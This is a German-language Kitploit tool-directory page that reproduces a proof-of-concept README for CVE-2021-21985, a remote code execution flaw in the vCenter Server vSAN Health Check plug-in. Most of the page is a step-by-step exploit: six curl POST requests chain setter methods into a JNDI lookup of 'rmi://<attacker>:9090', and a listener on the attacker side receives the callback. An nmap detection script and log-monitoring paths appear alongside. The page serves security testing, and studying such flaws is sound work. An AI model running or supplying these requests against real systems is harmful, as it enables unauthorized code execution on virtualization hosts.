Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2021-21985_PoC — PoC-Exploit und NSE-Erkennungsskript für CVE-2021-21985, eine Sicherheitslücke zur Remotecodeausführung im Virtual SAN Health Check-Plug-in von vCenter Server, mit schrittweisen Ausführungsanleitungen. | Kitploit
Tools/GitHubGitHub/alt3kx/cve-2021-21985_poc
AufklärungSchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsRemote-Access-Tool
GitHubalt3kx/cve-2021-21985_poc

CVE-2021-21985_PoC

PoC-Exploit und NSE-Erkennungsskript für CVE-2021-21985, eine Sicherheitslücke zur Remotecodeausführung im Virtual SAN Health Check-Plug-in von vCenter Server, mit schrittweisen Ausführungsanleitungen.

Repository anzeigen
21349vor 3 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2021-21985 (Verwundbarer Code)

06_test_class_method

Verfügbare KLASSE/METHODE(n), ein kleines Beispiel für PoC-Zwecke: com.vmware.vsan.client.services.capability.VsanCapabilityProvider

root@kitploit:~
[../snip]
getClusterCapabilityData
getHostCapabilityData
getHostsCapabilitiyData
getIsDeduplicationSupported
getIsEncryptionSupported
getIsLocalDataProtectionSupportedOnVc
getIsLocalDataProtectionSupportedOnCluster
getIsRemoteDataProtectionSupported
getIsObjectIdentitiesSupportedOnCluster
getIsHistoricalCapacitySupported
getIsPerfVerboseModeSupported
getIsPerfNetworkDiagnosticModeSupported
getIsPerfDiagnosticsFeedbackSupportedOnVc
getIsAdvancedClusterSettingsSupported
getIsRecreateDiskGroupSupported
getIsPurgeInaccessibleVmSwapObjectsSupported
getIsUpdateVumReleaseCatalogOfflineSupported
getIsVitOnlineResizeSupported
getIsImprovedCapacityMonitoringSupportedOnVc
getIsVmLevelCapacityMonitoringSupported
getIsWhatIfCapacitySupported
getIsHostReservedCapacitySupported
getIsUnmountWithMaintenanceModeSupported
getIsEvacuationStatusSupportedOnCluster
...
...
[../snip]

CVE-2021-21985 (PoC)

Der vSphere Client (HTML5) enthält eine Schwachstelle zur Remote-Codeausführung aufgrund fehlender Eingabevalidierung im Virtual SAN Health Check-Plug-in, das standardmäßig im vCenter Server aktiviert ist.

Diese manuelle Überprüfung prüft die Existenz von CVE-2021-21985 basierend auf standardmäßig verfügbaren KLASSEN/METHODEN auf dem vCenter, z. B. "/ui/h5-vsan/rest/*", indem eine POST-Anfrage gesendet und in der Antwort (200) nach JSON-Daten gesucht wird.

Manuelle Überprüfung:

root@kitploit:~
# curl -s -k -X $'POST' -H $'Host: <target>' -H $'User-Agent: alex666' -H $'Content-Type: application/json' -H $'Connection: close' --data-binary $'{\"methodInput\":[{\"type\":\"ClusterComputeResource\",\"value\": null,\"serverGuid\": null}]}\x0d\x0a' $'https://<target>/ui/h5-vsan/rest/proxy/service/com.vmware.vsan.client.services.capability.VsanCapabilityProvider/getClusterCapabilityData'

03_curl

Veröffentlichter PoC-Exploit (1)

Quellenangabe: https://www.iswin.org/2021/06/02/Vcenter-Server-CVE-2021-21985-RCE-PAYLOAD/

Schritte zur Reproduktion:

Starten Sie Ihren Python-Server, um die Verbindung vom Zielsystem (vCenter) zu empfangen, z. B.

root@kitploit:~
# python3 -m http.server 9090

Schritt 1: Setzen Sie TargetObject auf null

POST /ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setTargetObject HTTP/1.1
{“methodInput”:[null]}

root@kitploit:~
# curl -i -s -k -X $'POST' -H $'Host: <target>' -H $'User-Agent: alex666' -H $'Content-Type: application/json' -H $'Connection: close' --data-binary $'{\xe2\x80\x9cmethodInput\xe2\x80\x9d:[null]}' $'https://<target>/ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setTargetObject'

Schritt 2: setStaticMethod auf Payload setzen

POST /ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setStaticMethod HTTP/1.1
{“methodInput”:[“javax.naming.InitialContext.doLookup”]}

root@kitploit:~
# curl -i -s -k -X $'POST' -H $'Host: <target>' -H $'User-Agent: alex666' -H $'Content-Type: application/json' -H $'Connection: close' --data-binary $'{\"methodInput\":[\"javax.naming.InitialContext.doLookup\"]}\x0d\x0a' $'https://<target>/ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setStaticMethod'

Schritt 3: setTargetMethod auf doLookup setzen

POST /ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setTargetMethod HTTP/1.1
{“methodInput”:[“doLookup”]}

root@kitploit:~
# curl -i -s -k -X $'POST' -H $'Host: <target>' -H $'User-Agent: alex666' -H $'Content-Type: application/json' -H $'Connection: close' --data-binary $'\x0d\x0a{\"methodInput\":[\"doLookup\"]}\x0d\x0a' $'https://<target>/ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setTargetMethod'

Schritt 4: setArguments mit Payload-Argumenten

POST /ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setArguments HTTP/1.1
{“methodInput”:[["rmi://attacker:9090/alex666"]]}

root@kitploit:~
# curl -i -s -k -X $'POST' -H $'Host: <target>' -H $'User-Agent: alex666' -H $'Content-Type: application/json' -H $'Connection: close' --data-binary $'{\"methodInput\":[[\"rmi://<attacker>:9090/alex666\"]]}' $'https://<target>/ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setArguments'

Schritt 5: Initialisieren von Payload-Klasse und -Methoden

POST /ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/prepare HTTP/1.1
{“methodInput”:[]}

root@kitploit:~
# curl -i -s -k -X $'POST' -H $'Host: <target>' -H $'User-Agent: alex666' -H $'Content-Type: application/json' -H $'Connection: close' --data-binary $'{\"methodInput\":[]}' $'https://<target>/ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/prepare'

Schritt 6: Methode invoke auslösen, nach diesem POST einige Sekunden warten und Ihr Python-Server-Log einsehen

POST /ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/invoke HTTP/1.1
{“methodInput”:[]}

root@kitploit:~
# curl -i -s -k -X $'POST' -H $'Host: <target>' -H $'User-Agent: alex666' -H $'Content-Type: application/json' -H $'Connection: close' --data-binary $'{\"methodInput\":[]}\x0d\x0a' $'https://<target>/ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/invoke'

exploit_01

Referenzen:

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-21985
https://www.vmware.com/security/advisories/VMSA-2021-0010.html
https://attackerkb.com/topics/X85GKjaVER/cve-2021-21985?referrer=home#rapid7-analysis

CVE-2021-21985 (NSE-Prüfer)

Dieses Skript prüft die Existenz von CVE-2021-21985 basierend auf standardmäßig verfügbaren KLASSEN/METHODEN auf dem vCenter, z. B. "/ui/h5-vsan/rest/*", indem eine POST-Anfrage gesendet und in der Antwort (200) nach JSON-Daten gesucht wird.

Verwendung

# nmap -p443 --script CVE-2021-21985.nse <target>

Ausgabe

root@kitploit:~
---
-- @usage
-- nmap -p443 --script CVE-2021-21985.nse <target>
-- @output
-- PORT    STATE SERVICE
-- 443/tcp open  https
-- | CVE-2021-21985: 
-- |   VULNERABLE:
-- |   vCenter 6.5-7.0 RCE
-- |     State: VULNERABLE (Exploitable)
-- |     IDs:  CVE:CVE-2021-21985
-- |       The vSphere Client (HTML5) contains a remote code execution vulnerability due to lack of input 
-- |       validation in the Virtual SAN Health Check plug-in which is enabled by default in vCenter Server.
-- |     Disclosure date: 2021-05-28
-- |     References:
-- |_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-21985

CVE-2021-21985

vCenter vSAN Health (Konsolenprotokolle)

Pfad der vCenter-Protokolle

root@kitploit:~
# /var/log/vmware/vsan-health/

03_vSAN-health

vSphere Client (Konsolenprotokolle)

Überwachung der Angriffe

root@kitploit:~
# tail -f /var/log/vmware/vsphere-ui/logs/vsphere_client_virgo.log

04_monitoring

Autor

Alex Hernandez alias (@_alt3kx_)

Tool herunterladen